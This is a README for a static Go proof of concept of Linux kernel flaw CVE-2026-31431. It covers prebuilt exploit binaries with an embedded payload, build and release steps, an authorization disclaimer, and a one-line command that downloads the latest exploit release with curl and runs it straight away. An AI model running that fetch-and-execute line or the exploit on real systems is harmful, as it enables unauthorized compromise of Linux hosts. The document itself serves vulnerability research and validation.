percivalll/copy-fail-cve-2026-31431-statically-pocStatic Go proof-of-concept for CVE-2026-31431, leveraging Linux AF_ALG and splice(2) to trigger the vulnerability. Provides prebuilt binaries for amd64, arm64, and 386.
This repository contains a Go port of the public Python proof of concept from
theori-io/copy-fail-CVE-2026-31431.
The program is Linux-only. It uses the Linux AF_ALG interface, AEAD control
messages, and splice(2) to preserve the behavior of the original PoC while
building as a small static Go binary.
Release builds are generated for:
linux/amd64linux/arm64linux/386Each binary embeds a payload ELF for the same target architecture.
macOS and Windows builds are intentionally not published because the PoC depends on Linux-specific kernel interfaces.
Tagged releases publish compressed static binaries and a checksum manifest:
copy-fail-poc-linux-amd64.tar.gzcopy-fail-poc-linux-arm64.tar.gzcopy-fail-poc-linux-386.tar.gzSHA256SUMSVerify a downloaded artifact with:
sha256sum -c SHA256SUMS
Requirements:
Build the current host architecture:
CGO_ENABLED=0 go build -trimpath -ldflags='-s -w -buildid=' -o copy-fail-poc ./cmd/copy-fail-poc
Cross-build a Linux target:
GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -trimpath -ldflags='-s -w -buildid=' -o copy-fail-poc-linux-amd64 ./cmd/copy-fail-poc
Supported GOARCH values are amd64, arm64, and 386.
Run tests:
go test ./...
go vet ./...
The tests only cover non-destructive helper logic. They do not execute the PoC trigger path.
Run the binary on a Linux system that you own or are explicitly authorized to test:
./copy-fail-poc-linux-*
One-line release download and run:
sh -c 'set -e; case "$(uname -m)" in x86_64) a=amd64;; aarch64|arm64) a=arm64;; i386|i686) a=386;; *) echo "unsupported arch: $(uname -m)" >&2; exit 1;; esac; curl -fsSL "https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Statically-PoC/releases/latest/download/copy-fail-poc-linux-${a}.tar.gz" | tar xz; ./copy-fail-poc-linux-${a}'
The behavior depends on the target kernel and local system configuration. The binary does not guarantee successful exploitation on every Linux system.
The GitHub Actions workflow runs on tags matching v* and can also be started
manually from the Actions tab.
Create a release:
git tag v0.1.0
git push origin v0.1.0
For tag builds, the workflow creates a GitHub Release and uploads the Linux
artifacts plus SHA256SUMS. For manual runs, artifacts are available from the
workflow run.
This project is provided for authorized security research, defensive validation, and educational review only. Do not run it on systems you do not own or do not have explicit permission to test. You are responsible for complying with all applicable laws, contracts, and policies.
theori-io/copy-fail-CVE-2026-31431